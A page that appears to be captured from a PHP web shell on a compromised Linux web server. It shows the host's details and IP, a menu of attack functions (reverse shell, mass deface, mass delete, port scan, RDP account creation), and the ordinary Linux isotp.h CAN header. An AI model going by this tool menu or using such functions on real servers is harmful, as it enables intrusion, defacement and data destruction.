LOLCATS

: /usr/include/linux/can/ [ drwxr-xr-x ]

Information Server

System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
Software: Apache/2.4.52 (Ubuntu)
PHP Version: 8.4.10 PHP Os: Linux
Server IP: 77.237.233.165
Your IP: 10.6.7.99
User: www-data [33] | Group: [www-data] [33]
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: ON | WGET: ON | CURL: ON | GCC: ON | PKEXEC: ON
Disable Function:

NONE

Command ON Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: isotp.h

/* SPDX-License-Identifier: ((GPL-2.0-only WITH Linux-syscall-note) OR BSD-3-Clause) */
/*
 * linux/can/isotp.h
 *
 * Definitions for isotp CAN sockets (ISO 15765-2:2016)
 *
 * Copyright (c) 2020 Volkswagen Group Electronic Research
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of Volkswagen nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * Alternatively, provided that this notice is retained in full, this
 * software may be distributed under the terms of the GNU General
 * Public License ("GPL") version 2, in which case the provisions of the
 * GPL apply INSTEAD OF those given above.
 *
 * The provided data structures and external interfaces from this code
 * are not restricted to be used by modules with a GPL compatible license.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

#ifndef _CAN_ISOTP_H
#define _CAN_ISOTP_H

#include <linux/types.h>
#include <linux/can.h>

#define SOL_CAN_ISOTP (SOL_CAN_BASE + CAN_ISOTP)

/* for socket options affecting the socket (not the global system) */

#define CAN_ISOTP_OPTS		1	/* pass struct can_isotp_options */

#define CAN_ISOTP_RECV_FC	2	/* pass struct can_isotp_fc_options */

/* sockopts to force stmin timer values for protocol regression tests */

#define CAN_ISOTP_TX_STMIN	3	/* pass __u32 value in nano secs    */
					/* use this time instead of value   */
					/* provided in FC from the receiver */

#define CAN_ISOTP_RX_STMIN	4	/* pass __u32 value in nano secs   */
					/* ignore received CF frames which */
					/* timestamps differ less than val */

#define CAN_ISOTP_LL_OPTS	5	/* pass struct can_isotp_ll_options */

struct can_isotp_options {

__u32 flags;		/* set flags for isotp behaviour.	*/
				/* __u32 value : flags see below	*/

__u32 frame_txtime;	/* frame transmission time (N_As/N_Ar)	*/
				/* __u32 value : time in nano secs	*/

__u8  ext_address;	/* set address for extended addressing	*/
				/* __u8 value : extended address	*/

__u8  txpad_content;	/* set content of padding byte (tx)	*/
				/* __u8 value : content	on tx path	*/

__u8  rxpad_content;	/* set content of padding byte (rx)	*/
				/* __u8 value : content	on rx path	*/

__u8  rx_ext_address;	/* set address for extended addressing	*/
				/* __u8 value : extended address (rx)	*/
};

struct can_isotp_fc_options {

__u8  bs;		/* blocksize provided in FC frame	*/
				/* __u8 value : blocksize. 0 = off	*/

__u8  stmin;		/* separation time provided in FC frame	*/
				/* __u8 value :				*/
				/* 0x00 - 0x7F : 0 - 127 ms		*/
				/* 0x80 - 0xF0 : reserved		*/
				/* 0xF1 - 0xF9 : 100 us - 900 us	*/
				/* 0xFA - 0xFF : reserved		*/

__u8  wftmax;		/* max. number of wait frame transmiss.	*/
				/* __u8 value : 0 = omit FC N_PDU WT	*/
};

struct can_isotp_ll_options {

__u8  mtu;		/* generated & accepted CAN frame type	*/
				/* __u8 value :				*/
				/* CAN_MTU   (16) -> standard CAN 2.0	*/
				/* CANFD_MTU (72) -> CAN FD frame	*/

__u8  tx_dl;		/* tx link layer data length in bytes	*/
				/* (configured maximum payload length)	*/
				/* __u8 value : 8,12,16,20,24,32,48,64	*/
				/* => rx path supports all LL_DL values */

__u8  tx_flags;		/* set into struct canfd_frame.flags	*/
				/* at frame creation: e.g. CANFD_BRS	*/
				/* Obsolete when the BRS flag is fixed	*/
				/* by the CAN netdriver configuration	*/
};

/* flags for isotp behaviour */

#define CAN_ISOTP_LISTEN_MODE	0x0001	/* listen only (do not send FC) */
#define CAN_ISOTP_EXTEND_ADDR	0x0002	/* enable extended addressing */
#define CAN_ISOTP_TX_PADDING	0x0004	/* enable CAN frame padding tx path */
#define CAN_ISOTP_RX_PADDING	0x0008	/* enable CAN frame padding rx path */
#define CAN_ISOTP_CHK_PAD_LEN	0x0010	/* check received CAN frame padding */
#define CAN_ISOTP_CHK_PAD_DATA	0x0020	/* check received CAN frame padding */
#define CAN_ISOTP_HALF_DUPLEX	0x0040	/* half duplex error state handling */
#define CAN_ISOTP_FORCE_TXSTMIN	0x0080	/* ignore stmin from received FC */
#define CAN_ISOTP_FORCE_RXSTMIN	0x0100	/* ignore CFs depending on rx stmin */
#define CAN_ISOTP_RX_EXT_ADDR	0x0200	/* different rx extended addressing */
#define CAN_ISOTP_WAIT_TX_DONE	0x0400	/* wait for tx completion */
#define CAN_ISOTP_SF_BROADCAST	0x0800	/* 1-to-N functional addressing */
#define CAN_ISOTP_CF_BROADCAST	0x1000	/* 1-to-N transmission w/o FC */

/* protocol machine default values */

#define CAN_ISOTP_DEFAULT_FLAGS		0
#define CAN_ISOTP_DEFAULT_EXT_ADDRESS	0x00
#define CAN_ISOTP_DEFAULT_PAD_CONTENT	0xCC /* prevent bit-stuffing */
#define CAN_ISOTP_DEFAULT_FRAME_TXTIME	50000 /* 50 micro seconds */
#define CAN_ISOTP_DEFAULT_RECV_BS	0
#define CAN_ISOTP_DEFAULT_RECV_STMIN	0x00
#define CAN_ISOTP_DEFAULT_RECV_WFTMAX	0

/*
 * Remark on CAN_ISOTP_DEFAULT_RECV_* values:
 *
 * We can strongly assume, that the Linux Kernel implementation of
 * CAN_ISOTP is capable to run with BS=0, STmin=0 and WFTmax=0.
 * But as we like to be able to behave as a commonly available ECU,
 * these default settings can be changed via sockopts.
 * For that reason the STmin value is intentionally _not_ checked for
 * consistency and copied directly into the flow control (FC) frame.
 */

/* link layer default values => make use of Classical CAN frames */

#define CAN_ISOTP_DEFAULT_LL_MTU	CAN_MTU
#define CAN_ISOTP_DEFAULT_LL_TX_DL	CAN_MAX_DLEN
#define CAN_ISOTP_DEFAULT_LL_TX_FLAGS	0

/*
 * The CAN_ISOTP_DEFAULT_FRAME_TXTIME has become a non-zero value as
 * it only makes sense for isotp implementation tests to run without
 * a N_As value. As user space applications usually do not set the
 * frame_txtime element of struct can_isotp_options the new in-kernel
 * default is very likely overwritten with zero when the sockopt()
 * CAN_ISOTP_OPTS is invoked.
 * To make sure that a N_As value of zero is only set intentional the
 * value '0' is now interpreted as 'do not change the current value'.
 * When a frame_txtime of zero is required for testing purposes this
 * CAN_ISOTP_FRAME_TXTIME_ZERO u32 value has to be set in frame_txtime.
 */
#define CAN_ISOTP_FRAME_TXTIME_ZERO	0xFFFFFFFF

#endif /* !_UAPI_CAN_ISOTP_H */

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
bcm.h	f!le	2024-12-18 17:19	4.02 KB	root / root	-rw-r--r--
error.h	f!le	2024-12-18 17:19	6.5 KB	root / root	-rw-r--r--
gw.h	f!le	2024-12-18 17:19	7.84 KB	root / root	-rw-r--r--
isotp.h	f!le	2024-12-18 17:19	7.25 KB	root / root	-rw-r--r--
j1939.h	f!le	2024-12-18 17:19	2.35 KB	root / root	-rw-r--r--
netlink.h	f!le	2024-12-18 17:19	3.97 KB	root / root	-rw-r--r--
raw.h	f!le	2024-12-18 17:19	2.83 KB	root / root	-rw-r--r--
vxcan.h	f!le	2024-12-18 17:19	232 B	root / root	-rw-r--r--